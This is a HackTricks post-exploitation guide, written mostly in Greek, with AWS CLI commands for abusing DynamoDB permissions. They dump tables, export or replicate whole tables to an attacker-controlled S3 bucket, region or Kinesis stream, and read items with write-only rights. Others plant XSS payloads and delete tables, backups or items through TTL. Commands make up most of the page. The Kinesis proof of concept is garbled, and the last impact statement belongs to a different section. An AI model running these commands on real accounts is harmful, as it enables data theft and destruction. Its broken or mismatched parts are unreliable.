AWS - DynamoDB Post Exploitation

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

DynamoDB

Για περισσότερες πληροφορίες δείτε:

AWS - DynamoDB Enum

dynamodb:BatchGetItem

Ένας attacker με αυτά τα permissions θα μπορεί να αντλήσει items από πίνακες με βάση το primary key (δεν μπορείτε απλώς να ζητήσετε όλα τα δεδομένα του πίνακα). Αυτό σημαίνει ότι χρειάζεται να γνωρίζετε τα primary keys (μπορείτε να τα πάρετε από τα metadata του πίνακα (describe-table).

aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

Potential Impact: Έμμεσο privesc μέσω εντοπισμού ευαίσθητων πληροφοριών στον πίνακα

dynamodb:GetItem

Παρόμοιο με τις προηγούμενες άδειες αυτό επιτρέπει σε έναν πιθανό επιτιθέμενο να διαβάσει τιμές από 1 μόνο πίνακα, δεδομένου του πρωτεύοντος κλειδιού της εγγραφής για να την ανακτήσει:

aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

Με αυτήν την άδεια είναι επίσης δυνατό να χρησιμοποιηθεί η μέθοδος transact-get-items όπως:

aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

Πιθανός Αντίκτυπος: Indirect privesc με τον εντοπισμό ευαίσθητων πληροφοριών στον πίνακα

dynamodb:Query

Όπως και τα προηγούμενα permissions αυτή επιτρέπει σε έναν πιθανό επιτιθέμενο να διαβάσει τιμές από έναν μόνο πίνακα δεδομένου του primary key της εγγραφής που θέλει να ανακτήσει. Επιτρέπει τη χρήση ενός subset of comparisons, αλλά η μόνη σύγκριση που επιτρέπεται με το primary key (που πρέπει να εμφανίζεται) είναι “EQ”, οπότε δεν μπορείτε να χρησιμοποιήσετε μια σύγκριση για να πάρετε ολόκληρη τη DB σε ένα αίτημα.

aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

Potential Impact: Έμμεσο privesc μέσω εντοπισμού ευαίσθητων πληροφοριών στον πίνακα

dynamodb:Scan

Μπορείτε να χρησιμοποιήσετε αυτήν την άδεια για να dump the entire table easily.

aws dynamodb scan --table-name <t_name> #Get data inside the table

Potential Impact: Indirect privesc εντοπίζοντας ευαίσθητες πληροφορίες στον πίνακα

dynamodb:PartiQLSelect

Μπορείτε να χρησιμοποιήσετε αυτήν την άδεια για να dump ολόκληρο τον πίνακα εύκολα.

aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

Αυτή η άδεια επιτρέπει επίσης την εκτέλεση του batch-execute-statement όπως:

aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

αλλά πρέπει να καθορίσεις το πρωτεύον κλειδί με μια τιμή, οπότε δεν είναι τόσο χρήσιμο.

Πιθανή Επίπτωση: Indirect privesc εντοπίζοντας ευαίσθητες πληροφορίες στον πίνακα

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

Αυτό το δικαίωμα θα επιτρέψει σε έναν επιτιθέμενο να εξάγει ολόκληρο τον πίνακα σε έναν S3 bucket της επιλογής του:

aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

Σημειώστε ότι για να λειτουργήσει αυτό, ο πίνακας πρέπει να έχει ενεργοποιημένο το point-in-time-recovery. Μπορείτε να ελέγξετε αν ο πίνακας το έχει με:

aws dynamodb describe-continuous-backups \
--table-name <tablename>

Αν δεν είναι ενεργοποιημένο, θα χρειαστεί να το ενεργοποιήσετε και για αυτό χρειάζεστε την άδεια dynamodb:ExportTableToPointInTime:

aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

Potential Impact: Έμμεση privesc εντοπίζοντας ευαίσθητες πληροφορίες στον πίνακα

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

Με αυτά τα δικαιώματα, ένας επιτιθέμενος θα μπορούσε να δημιουργήσει έναν νέο πίνακα από ένα αντίγραφο ασφαλείας (ή ακόμη και να δημιουργήσει ένα αντίγραφο ασφαλείας για να το επαναφέρει σε διαφορετικό πίνακα). Έπειτα, με τα απαραίτητα δικαιώματα, θα μπορούσε να ελέγξει πληροφορίες από τα αντίγραφα ασφαλείας που δεν θα ήταν πλέον στον παραγωγικό πίνακα.

aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

Πιθανός Αντίκτυπος: Έμμεσο privesc εντοπίζοντας ευαίσθητες πληροφορίες στο αντίγραφο ασφαλείας του πίνακα

dynamodb:PutItem

Αυτή η άδεια επιτρέπει στους χρήστες να προσθέτουν ένα νέο στοιχείο στον πίνακα ή να αντικαθιστούν ένα υπάρχον στοιχείο με νέο στοιχείο. Αν υπάρχει ήδη στοιχείο με το ίδιο πρωτεύον κλειδί, το ολόκληρο στοιχείο θα αντικατασταθεί με το νέο στοιχείο. Αν το πρωτεύον κλειδί δεν υπάρχει, ένα νέο στοιχείο με το καθορισμένο πρωτεύον κλειδί θα δημιουργηθεί.

## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

Πιθανός Αντίκτυπος: Εκμετάλλευση περαιτέρω ευπαθειών/bypasses με τη δυνατότητα να προσθέσει/τροποποιήσει δεδομένα σε πίνακα DynamoDB

dynamodb:UpdateItem

Αυτό το δικαίωμα επιτρέπει στους χρήστες να τροποποιούν τα υπάρχοντα χαρακτηριστικά ενός στοιχείου ή να προσθέτουν νέα χαρακτηριστικά σε ένα στοιχείο. Δεν αντικαθιστά ολόκληρο το στοιχείο· ενημερώνει μόνο τα καθορισμένα χαρακτηριστικά. Εάν το πρωτεύον κλειδί δεν υπάρχει στον πίνακα, η λειτουργία θα δημιουργήσει ένα νέο στοιχείο με το καθορισμένο πρωτεύον κλειδί και θα ορίσει τα χαρακτηριστικά που καθορίζονται στην έκφραση ενημέρωσης.

## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}

Πιθανός Αντίκτυπος: Εκμετάλλευση περαιτέρω vulnerabilities/bypasses μέσω της δυνατότητας προσθήκης/τροποποίησης δεδομένων σε ένα DynamoDB table

dynamodb:DeleteTable

Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να διαγράψει ένα DynamoDB table, προκαλώντας απώλεια δεδομένων

aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

Πιθανός αντίκτυπος: Απώλεια δεδομένων και διακοπή λειτουργίας υπηρεσιών που εξαρτώνται από τον διαγραμμένο πίνακα.

dynamodb:DeleteBackup

Ένας επιτιθέμενος με αυτή την άδεια μπορεί να διαγράψει ένα αντίγραφο ασφαλείας DynamoDB, ενδεχομένως προκαλώντας απώλεια δεδομένων σε περίπτωση σεναρίου ανάκτησης μετά από καταστροφή.

aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

Πιθανός αντίκτυπος: Απώλεια δεδομένων και αδυναμία ανάκτησης από εφεδρικό αντίγραφο σε σενάριο αποκατάστασης μετά από καταστροφή.

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

Note

TODO: Ελέγξτε αν αυτό όντως λειτουργεί

Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να ενεργοποιήσει ένα stream σε έναν πίνακα DynamoDB, να ενημερώσει τον πίνακα ώστε να ξεκινήσει η ροή αλλαγών και στη συνέχεια να αποκτήσει πρόσβαση στο stream για να παρακολουθεί τις αλλαγές στον πίνακα σε πραγματικό χρόνο. Αυτό επιτρέπει στον επιτιθέμενο να παρακολουθεί και να exfiltrate αλλαγές δεδομένων, ενδεχομένως οδηγώντας σε data leakage.

  1. Ενεργοποίηση stream σε πίνακα DynamoDB:
aws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. Περιγράψτε το stream για να αποκτήσετε το ARN και άλλες λεπτομέρειες:
aws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. Πάρε το shard iterator χρησιμοποιώντας το stream ARN:
aws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. Χρησιμοποιήστε το shard iterator για πρόσβαση και exfiltrate δεδομένα από το stream:
aws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

Potential impact: Παρακολούθηση σε πραγματικό χρόνο και data leakage των αλλαγών του πίνακα DynamoDB.

Ανάγνωση αντικειμένων μέσω dynamodb:UpdateItem και ReturnValues=ALL_OLD

Ένας επιτιθέμενος με μόνο dynamodb:UpdateItem σε έναν πίνακα μπορεί να διαβάσει αντικείμενα χωρίς καμία από τις συνήθεις άδειες ανάγνωσης (GetItem/Query/Scan) εκτελώντας μια αβλαβή ενημέρωση και ζητώντας --return-values ALL_OLD. Το DynamoDB θα επιστρέψει την πλήρη προ-ενημέρωσης εικόνα του item στο πεδίο Attributes της απάντησης (αυτό δεν καταναλώνει RCUs).

  • Ελάχιστα δικαιώματα: dynamodb:UpdateItem στον στοχευόμενο πίνακα/κλειδί.
  • Προαπαιτούμενα: Πρέπει να γνωρίζετε το πρωτεύον κλειδί του αντικειμένου.

Example (adds a harmless attribute and exfiltrates the previous item in the response):

aws dynamodb update-item \
--table-name <TargetTable> \
--key '{"<PKName>":{"S":"<PKValue>"}}' \
--update-expression 'SET #m = :v' \
--expression-attribute-names '{"#m":"exfil_marker"}' \
--expression-attribute-values '{":v":{"S":"1"}}' \
--return-values ALL_OLD \
--region <region>

Η απάντηση του CLI θα περιλαμβάνει ένα μπλοκ Attributes που περιέχει το πλήρες προηγούμενο item (όλα τα attributes), παρέχοντας στην ουσία μια read primitive από write-only πρόσβαση.

Πιθανός αντίκτυπος: Ανάγνωση αυθαίρετων items από έναν πίνακα με δικαιώματα μόνο για write, επιτρέποντας sensitive data exfiltration όταν τα primary keys είναι γνωστά.

dynamodb:UpdateTable (replica-updates) | dynamodb:CreateTableReplica

Κρυφή exfiltration με την προσθήκη μιας νέας replica Region σε ένα DynamoDB Global Table (έκδοση 2019.11.21). Εάν ένας principal μπορεί να προσθέσει μια regional replica, ολόκληρος ο πίνακας αναπαράγεται στην Region που επιλέγει ο attacker, από την οποία ο attacker μπορεί να διαβάσει όλα τα items.

# Add a new replica Region (from primary Region)
aws dynamodb update-table \
--table-name <TableName> \
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
--region <primary-region>

# Wait until the replica table becomes ACTIVE in the replica Region
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'

# Exfiltrate by reading from the replica Region
aws dynamodb scan --table-name <TableName> --region <replica-region>

Δικαιώματα: dynamodb:UpdateTable (with replica-updates) ή dynamodb:CreateTableReplica στον πίνακα-στόχο. Εάν χρησιμοποιείται CMK στη replica, ίσως απαιτούνται δικαιώματα KMS για αυτό το key.

Πιθανός αντίκτυπος: Αντιγραφή ολόκληρου του πίνακα σε attacker-controlled Region που οδηγεί σε stealthy data exfiltration.

dynamodb:TransactWriteItems (ανάγνωση μέσω αποτυχημένης συνθήκης + ReturnValuesOnConditionCheckFailure=ALL_OLD)

Ένας attacker με δικαιώματα transactional write μπορεί να exfiltrate τα πλήρη attributes ενός υπάρχοντος item εκτελώντας ένα Update μέσα σε TransactWriteItems που σκόπιμα αποτυγχάνει ένα ConditionExpression ενώ έχει οριστεί ReturnValuesOnConditionCheckFailure=ALL_OLD. Σε περίπτωση αποτυχίας, το DynamoDB περιλαμβάνει τα προηγούμενα attributes στους λόγους ακύρωσης της συναλλαγής, μετατρέποντας ουσιαστικά την πρόσβαση μόνο για εγγραφή σε πρόσβαση ανάγνωσης για τα στοχευμένα κλειδιά.

# Create the transaction input (list form for --transact-items)
cat > /tmp/tx_items.json << 'JSON'
[
{
"Update": {
"TableName": "<TableName>",
"Key": {"<PKName>": {"S": "<PKValue>"}},
"UpdateExpression": "SET #m = :v",
"ExpressionAttributeNames": {"#m": "marker"},
"ExpressionAttributeValues": {":v": {"S": "x"}},
"ConditionExpression": "attribute_not_exists(<PKName>)",
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
}
}
]
JSON

# Execute. Newer AWS CLI versions support returning cancellation reasons
aws dynamodb transact-write-items \
--transact-items file:///tmp/tx_items.json \
--region <region> \
--return-cancellation-reasons
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item

Permissions: dynamodb:TransactWriteItems on the target table (and the underlying item). No read permissions are required.

Potential Impact: Ανάγνωση αυθαίρετων αντικειμένων (βάσει του πρωτεύοντος κλειδιού) από έναν πίνακα χρησιμοποιώντας μόνο δικαιώματα transactional write μέσω των επιστρεφόμενων λόγων ακύρωσης.

dynamodb:UpdateTable + dynamodb:UpdateItem + dynamodb:Query on GSI

Παρακάμψτε τους περιορισμούς ανάγνωσης δημιουργώντας ένα Global Secondary Index (GSI) με ProjectionType=ALL σε ένα πεδίο χαμηλής εντροπίας, ορίστε αυτό το πεδίο σε μια σταθερή τιμή σε όλα τα αντικείμενα και στη συνέχεια κάντε Query στο index για να ανακτήσετε πλήρη αντικείμενα. Αυτό λειτουργεί ακόμη και αν το Query/Scan στον βασικό πίνακα απαγορεύεται, όσο μπορείτε να κάνετε query στο ARN του index.

  • Ελάχιστα δικαιώματα:
  • dynamodb:UpdateTable on the target table (στον πίνακα-στόχο, για να δημιουργήσει το GSI με ProjectionType=ALL).
  • dynamodb:UpdateItem on the target table keys (στα κλειδιά του πίνακα-στόχου, για να ορίσετε το ευρετηριασμένο πεδίο σε κάθε αντικείμενο).
  • dynamodb:Query on the index resource ARN (arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>).

Steps (PoC in us-east-1):

# 1) Create table and seed items (without the future GSI attribute)
aws dynamodb create-table --table-name HTXIdx \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
for i in 1 2 3 4 5; do \
aws dynamodb put-item --table-name HTXIdx \
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
--region us-east-1; done

# 2) Add GSI on attribute X with ProjectionType=ALL
aws dynamodb update-table --table-name HTXIdx \
--attribute-definitions AttributeName=X,AttributeType=S \
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
--region us-east-1
# Wait for index to become ACTIVE
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'

# 3) Set X="dump" for each item (only UpdateItem on known keys)
for i in 1 2 3 4 5; do \
aws dynamodb update-item --table-name HTXIdx \
--key "{\"id\":{\"S\":\"$i\"}}" \
--update-expression 'SET #x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1; done

# 4) Query the index by the constant value to retrieve full items
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--key-condition-expression '#x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1

Potential Impact: Full table exfiltration by querying a newly created GSI that projects all attributes, even when base table read APIs are denied.

dynamodb:EnableKinesisStreamingDestination (Continuous exfiltration via Kinesis Data Streams)

Κατάχρηση των DynamoDB Kinesis streaming destinations για continuous exfiltration των αλλαγών από έναν πίνακα σε attacker-controlled Kinesis Data Stream. Μόλις ενεργοποιηθεί, κάθε INSERT/MODIFY/REMOVE event προωθείται σε near real-time στο stream χωρίς να απαιτούνται read permissions στον πίνακα.

Minimum permissions (attacker):

  • dynamodb:EnableKinesisStreamingDestination on the target table
  • Optionally dynamodb:DescribeKinesisStreamingDestination/dynamodb:DescribeTable to monitor status
  • Read permissions on the attacker-owned Kinesis stream to consume records: kinesis:*
PoC (us-east-1) ```bash # 1) Prepare: create a table and seed one item aws dynamodb create-table --table-name HTXKStream \ --attribute-definitions AttributeName=id,AttributeType=S \ --key-schema AttributeName=id,KeyType=HASH \ --billing-mode PAY_PER_REQUEST --region us-east-1 aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1 aws dynamodb put-item --table-name HTXKStream \ --item file:///tmp/htx_item1.json --region us-east-1 # /tmp/htx_item1.json # {"id":{"S":"a1"},"secret":{"S":"s-1"}}

2) Create attacker Kinesis Data Stream

aws kinesis create-stream –stream-name htx-ddb-exfil –shard-count 1 –region us-east-1 aws kinesis wait stream-exists –stream-name htx-ddb-exfil –region us-east-1

3) Enable the DynamoDB -> Kinesis streaming destination

STREAM_ARN=$(aws kinesis describe-stream-summary –stream-name htx-ddb-exfil
–region us-east-1 –query StreamDescriptionSummary.StreamARN –output text) aws dynamodb enable-kinesis-streaming-destination
–table-name HTXKStream –stream-arn “$STREAM_ARN” –region us-east-1

Optionally wait until ACTIVE

aws dynamodb describe-kinesis-streaming-destination –table-name HTXKStream
–region us-east-1 –query KinesisDataStreamDestinations[0].DestinationStatus

4) Generate changes on the table

aws dynamodb put-item –table-name HTXKStream
–item file:///tmp/htx_item2.json –region us-east-1

/tmp/htx_item2.json

{“id”:{“S”:“a2”},“secret”:{“S”:“s-2”}}

aws dynamodb update-item –table-name HTXKStream
–key file:///tmp/htx_key_a1.json
–update-expression “SET #i = :v”
–expression-attribute-names {#i:info}
–expression-attribute-values {:v:{S:updated}}
–region us-east-1

/tmp/htx_key_a1.json -> {“id”:{“S”:“a1”}}

5) Consume from Kinesis to observe DynamoDB images

SHARD=$(aws kinesis list-shards –stream-name htx-ddb-exfil –region us-east-1
–query Shards[0].ShardId –output text) IT=$(aws kinesis get-shard-iterator –stream-name htx-ddb-exfil –shard-id “$SHARD”
–shard-iterator-type TRIM_HORIZON –region us-east-1 –query ShardIterator –output text) aws kinesis get-records –shard-iterator “$IT” –limit 10 –region us-east-1 > /tmp/krec.json

Decode one record (Data is base64-encoded)

jq -r .Records[0].Data /tmp/krec.json | base64 –decode | jq .

6) Cleanup (recommended)

aws dynamodb disable-kinesis-streaming-destination
–table-name HTXKStream –stream-arn “$STREAM_ARN” –region us-east-1 || true aws kinesis delete-stream –stream-name htx-ddb-exfil –enforce-consumer-deletion –region us-east-1 || true aws dynamodb delete-table –table-name HTXKStream –region us-east-1 || true

### `dynamodb:UpdateTimeToLive`

Ένας επιτιθέμενος με την άδεια dynamodb:UpdateTimeToLive μπορεί να αλλάξει τη ρύθμιση TTL (time-to-live) ενός πίνακα — ενεργοποιώντας ή απενεργοποιώντας το TTL. Όταν το TTL είναι ενεργοποιημένο, μεμονωμένα στοιχεία που περιέχουν το ρυθμισμένο πεδίο TTL θα διαγραφούν αυτόματα μόλις φτάσει ο χρόνος λήξης τους. Η τιμή TTL είναι απλώς ένα ακόμη πεδίο σε κάθε στοιχείο· τα στοιχεία χωρίς αυτό το πεδίο δεν επηρεάζονται από διαγραφή βάσει TTL.

Εάν τα στοιχεία δεν περιέχουν ήδη το πεδίο TTL, ο επιτιθέμενος θα χρειαστεί επίσης άδεια που επιτρέπει την ενημέρωση στοιχείων (για παράδειγμα dynamodb:UpdateItem) για να προσθέσει το πεδίο TTL και να προκαλέσει μαζικές διαγραφές.

Πρώτα ενεργοποιήστε το TTL στον πίνακα, καθορίζοντας το όνομα του πεδίου που θα χρησιμοποιηθεί για τη λήξη:
```bash
aws dynamodb update-time-to-live \
--table-name <TABLE_NAME> \
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"

Στη συνέχεια, ενημερώστε τα items για να προσθέσετε το attribute TTL (epoch seconds) ώστε να λήξουν και να αφαιρεθούν:

aws dynamodb update-item \
--table-name <TABLE_NAME> \
--key '<PRIMARY_KEY_JSON>' \
--update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
--expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'

dynamodb:RestoreTableFromAwsBackup & dynamodb:RestoreTableToPointInTime

Ένας επιτιθέμενος με δικαιώματα dynamodb:RestoreTableFromAwsBackup ή dynamodb:RestoreTableToPointInTime μπορεί να δημιουργήσει νέους πίνακες επαναφέροντάς τους από αντίγραφα ασφαλείας ή από point-in-time recovery (PITR) χωρίς να αντικαταστήσει τον αρχικό πίνακα. Ο επαναφερθείς πίνακας περιέχει πλήρη εικόνα των δεδομένων στο επιλεγμένο χρονικό σημείο, οπότε ο επιτιθέμενος μπορεί να το χρησιμοποιήσει για να exfiltrate ιστορικές πληροφορίες ή να αποκτήσει ένα complete dump της παλαιότερης κατάστασης της βάσης δεδομένων.

Επαναφορά ενός πίνακα DynamoDB από ένα on-demand backup:

aws dynamodb restore-table-from-backup \
--target-table-name <NEW_TABLE_NAME> \
--backup-arn <BACKUP_ARN>

Επαναφορά πίνακα DynamoDB σε σημείο στον χρόνο (δημιουργία νέου πίνακα με την επαναφερμένη κατάσταση):

aws dynamodb restore-table-to-point-in-time \
--source-table-name <SOURCE_TABLE_NAME> \
--target-table-name <NEW_TABLE_NAME> \
--use-latest-restorable-time

Πιθανός αντίκτυπος: Συνεχής, σχεδόν σε πραγματικό χρόνο exfiltration των αλλαγών του πίνακα σε attacker-controlled Kinesis stream χωρίς άμεσες λειτουργίες ανάγνωσης στον πίνακα.

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks